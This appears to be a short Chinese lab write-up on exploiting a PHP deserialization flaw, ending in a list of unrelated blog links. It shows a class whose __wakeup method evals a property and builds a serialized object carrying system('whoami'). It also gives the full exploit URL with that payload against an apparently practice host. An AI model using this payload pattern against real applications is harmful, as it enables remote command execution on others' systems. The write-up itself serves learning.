反序列化漏洞练习1

根据代码可以看出来sis类只是接收了参数cmd,下边是通过get获得cmd的值,所以可以在序列化过程中直接为cmd赋值。

根据源码编写序列化代码

php 复制代码
<?php
class sis{
    public $cmd='system("whoami");?>';
    public function __wakeup(){
        eval($this->cmd);
    }
}
$a = new sis;
echo serialize($a);
?>

为cmd赋值后,直接将整个sis类序列化

访问该代码

得到序列化的sis,将序列化后的sis以get的方式为cmd传参

124.221.58.83:81/s1.php?cmd=O:3:"sis":1:{s:3:"cmd";s:19:"system("whoami");?>";}

完成

相关推荐
竹林818几秒前
从零集成RainbowKit:我如何在一个周末搞定多链钱包连接并填平三个大坑
前端·javascript
secret_to_me1 分钟前
裴行俭VS袁天罡和李淳风
开发语言
2601_953465611 分钟前
M3U8 在线播放器:无需安装,一键调试 HLS 直播流
开发语言·前端·javascript·开发工具·m3u8·m3u8在线播放
qq_12084093715 分钟前
Three.js 工程向:资源生命周期管理与显存回收实践
前端·javascript·orbitcontrols
MaoziShan6 分钟前
CMU Subword Modeling | 23 Syllables and Syllabification
前端·人工智能·机器学习·语言模型·自然语言处理·中文分词
M ? A8 分钟前
VuReact 1.6.2 发布,新一代 Vue 3 转 React 编译工具
前端·javascript·vue.js·react.js·面试·开源·vureact
郭涤生9 分钟前
C++ 线程同步复习
开发语言·c++
Full Stack Developme11 分钟前
Hutool EnumUtil 教程
开发语言·windows·python
XMYX-014 分钟前
18 - Go 等待协程:WaitGroup 使用与坑
开发语言·golang
Nicander15 分钟前
vibe-coding 项目:中文字体子集化工具(纯前端)
前端